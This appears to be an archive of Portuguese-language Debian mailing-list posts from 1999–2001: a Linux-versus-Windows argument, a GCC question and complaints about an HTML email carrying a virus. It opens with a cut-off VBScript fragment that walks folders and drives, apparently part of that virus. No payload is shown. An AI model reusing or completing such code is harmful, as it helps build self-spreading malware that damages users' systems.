End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m)
Falou bestera do linux.
Sr. marco nunez, com certeza o sr falou do que não conhece ao falar do linux. o código aberto não é perigoso, tanto que o windows é mais hackeado que o linux, o Linux é de graça porque é feito por programadores que querem liberdade e querem um sistema melhor, por isso é feito por vários programadores voluntários ao redor do mundo. To enviando cópias para as listas debian-usr-portuguese e linuxall, quando responderem enviem uma cópia mara marconunez sob protesto ok? :) Texto encontrado em http://www.marconunez.com/farsantes.html DA PROPRIEDADE A anunciada SALVAÇÃO DA INFORMÁTICA by Linux é uma farsa! Códigos Abertos- maravilha, a coisa fica mais fácil ainda para se destruir e contaminar. Além que este verdadeiro exército de experts vão passar a programar, e aí tenho pena do futuro da Web. É de Graça- isso aprendi desde pequenininho... desconfie meu filho, desconfie, e não aceite. Diziam meus pais. O LINUX não trava- engraçado... o meu Windows também não. Nesta finalização das operações de guerrilha do Bem, chegou-se ao território-WEB em 13 de abril de 1999, e passei a trabalhar com 29 (vinte e nove) Navegadores abertos, conectados, em uma única máquina: um Pentium com 48 M de memória. Ainda faço Edição HTML com o FrontPage; simultâneas subidas, para 5 (cinco) casas-mata, com os alegres menininhos sorridentes do CutFTP; não raro, conectado a 2.400 bps. Tudo ao mesmo tempo! E aí? Devo falar bonito? Falo bonito pra você leitor-vítima deles. Pra eles: -cambada de incompetentes! É o que são. O Windows é uma droga!!!- ora, expliquem o Windows. Não conhecem e nem sabem. Cadê a NORTON e outras para alertarem ao mundo a existência e o perigo de um DELTREE.EXE/Y rodar em sua máquina? NORTON PROTECTOR, NORTON ANTI-SEI LÁ O QUE, nenhum te avisava nada! E mais, ao desinstalá-lo, vá por Regedit e veja a sujeira que o NORTON deixa: -desinstala igual a cara deles! O Windows lida com os processadores, o que outro SO qualquer pode fazer também. O que ocorreu no Windows é que as Equipes, os tais Certified By, falharam em muitas coisas... Avisei ao Chefão deles, mas o orgulho não os deixou corrigirem. Por isso, espero que alguma Comissão de Defesa de Consumidores, séria e incorruptível, dê ao Sr. Mauro Muratório Not o que merece: -como exemplo de que algo mudou neste Brasil. E o problema maior dos Sistemas Operacionais, não está neles, está no talento dos programadores. Depois é só sair acusando o SO de coisas que ele não tem a mínima culpa. Repito: O Windows é ótimo, feitas as pequenas alterações. Pequenas, porém que derrubarão muralhas de orgulhos. E use o Sistema Operacional que atender suas necessidades, lhe dê segurança e estabilidade... pois no fundo é tudo a mesma coisa, o que os estraga são os enfeites mal-projetados e o desprezo pela segurança básica do SO, da base de tudo. O Pinguim de quatro, na frente de todo mundo... -Mensagem original- De: Fernando Carreiro Albuquerque [EMAIL PROTECTED] Para: [EMAIL PROTECTED] [EMAIL PROTECTED] Data: Quarta-feira, 24 de Novembro de 1999 02:19 Assunto: Linux Caro Marco, Aprofundando mais em seu site, vi coisas interessantes sobre o Linux. Mas acho que consegui a proeza, não uma nem duas vezes, mas várias, de travar o pinguim, mais fácil que o Windows, basta executar o Gimp (o Photoshop deles) e rodar um arquivo maiorzinho ou um plug-in mais exigente e ele capota de quatro com um agravante, tente reiniciá-lo, acusará corrupção de arquivos e incapacidade para entrar no root, uma gracinha, o tal de lilo (carregador dos sistemas) diz ser generoso , carrega o Windows, mas depois que o coloca no registro mestre de inicialização ele dá um pé na bunda do Windows e não há santo que acesse o Windows, nem desinstalando o Linux! É um sistema intermediário, diria híbrido, que não tem a robustez de um Unix ou NT nem a interatividade e facilidade de uso da interface de um W98/95, acho bacana o aspecto do código aberto, mesmo com os perigos inerentes, mas o Linux seria o sistema melhor indicado para automação, robótica, controle de recursos mecânicos e coisas afins, já que pode ser facilmente mudado e adaptado, mas para o usuário final é massacrante e a vulnerabilidade pode ser um ponto a se questionar, acho que vírus não foram feitos para ele por ser um refúgio dos hackers, como os portos seguros dos piratas antigos... Se a comercialização substituir o ideal do código aberto (como parece querer o agora interessado com cifrões no lugar das pupilas, Linus Torvald, ao anunciar um computador inteiramente Linux), aí quero ver o circo pegar fogo... Fernando Carreiro Albuquerque http://talk.to/fernando _ Associe-se ao maior serviço de
Re: Help (Por Favor não mandem email html!!!!!)
On Wed, 19 Dec 2001 01:29:03 -0200 Philipe Gaspar [EMAIL PROTECTED] wrote: Hau Philipe, citar a mensagem toda não ajudou muito a evitar os estragos feitos pela mensagem html com vírus =( []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: compilador c; e leitor de mail
On Ter, 18 Dez 2001 23:34:54 [EMAIL PROTECTED] wrote: que compilador de c eu uso no gnome? após instala-lo como o chamo? como configuro o mailbr ou qualqr mail gratuito pelo netscape? Olá, antes de mais nada não faça crossposting (mandar o mesmo email com To: pra várias listas) isso não é bom para ninguém, é anti-netiqueta... compilador C você tem o gcc, tem vários ides pra Gnome, entre eles anjuta e gide, configurar mailbr ou qualquer email gratuito você configura como configuraria em qualquer outro cliente de email, veja a página de suporte/ajuda do seu serviço de email para mais informações e obrigado por não repetir o crossposting []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: Help (Por Favor não mandem email html!!!!!)
Em Wednesday 19 December 2001 02:35, Gustavo Noronha Silva escreveu: On Wed, 19 Dec 2001 01:29:03 -0200 Philipe Gaspar [EMAIL PROTECTED] wrote: Hau Philipe, citar a mensagem toda não ajudou muito a evitar os estragos feitos pela mensagem html com vírus =( Pelo menos chamou a atenção ;) []s! -- Philipe Gaspar aka kr0n. Unix SysAdmin [EMAIL PROTECTED]
